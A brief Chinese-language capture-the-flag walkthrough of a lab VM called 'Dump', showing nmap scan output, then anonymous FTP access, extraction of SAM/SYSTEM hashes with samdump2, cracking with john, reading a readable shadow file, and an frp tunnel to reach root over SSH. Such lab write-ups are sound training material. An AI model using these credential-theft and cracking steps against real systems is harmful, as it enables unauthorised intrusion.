# 靶场搭建
下载：Dump
Nat，IP： 192.168.1.147
# 渗透过程
# 信息初收集
PORT STATE SERVICE VERSION | |
21/tcp open ftp pyftpdlib 1.5.4 | |
| ftp-syst: | |
| STAT: | |
| FTP server status: | |
| Connected to: 192.168.1.147:21 | |
| Waiting for username. | |
| TYPE: ASCII; STRUcture: File; MODE: Stream | |
| Data connection closed. | |
|_End of status. | |
| ftp-anon: Anonymous FTP login allowed (FTP code 230) | |
|_drwxrwxrwx 2 root root 4096 Feb 09 10:46 .backup [NSE: writeable] | |
80/tcp open http Apache httpd 2.4.38 ((Debian)) | |
|_http-server-header: Apache/2.4.38 (Debian) | |
|_http-title: Apache2 Debian Default Page: It works | |
4200/tcp open ssl/http ShellInABox | |
|_ssl-date: TLS randomness does not represent time | |
|_http-title: Shell In A Box | |
| ssl-cert: Subject: commonName=dump | |
| Not valid before: 2024-02-09T11:53:57 | |
|_Not valid after: 2044-02-04T11:53:57 |
frp 使用 anonymous 用户空密码登录
把 sam.bak 和 system.bak 拿下来获取一下哈希：samdump2 system.bak sam.bak > hash
john hash 解一下得到账号密码： dumper/1dumper
在 4200 端口上的 web 服务登录，拿到 dumper 的 shell
# 提权
信息收集，发现 shadow 可以看，拿到了哈希，破解一下 root 密码： shadow123
查看进程后发现是启动了 ssh 服务的。
ss -tuln 发现是 22 端口
那就想办法转发出来了呗
用 frp 搭了一个隧道，将目标 127.0.0.1:22 映射到了 kali 的 6000 上，直接本地连上去，成功登录到 root。拿下！
# 小结
隧道搭建和 sam 文件的解密
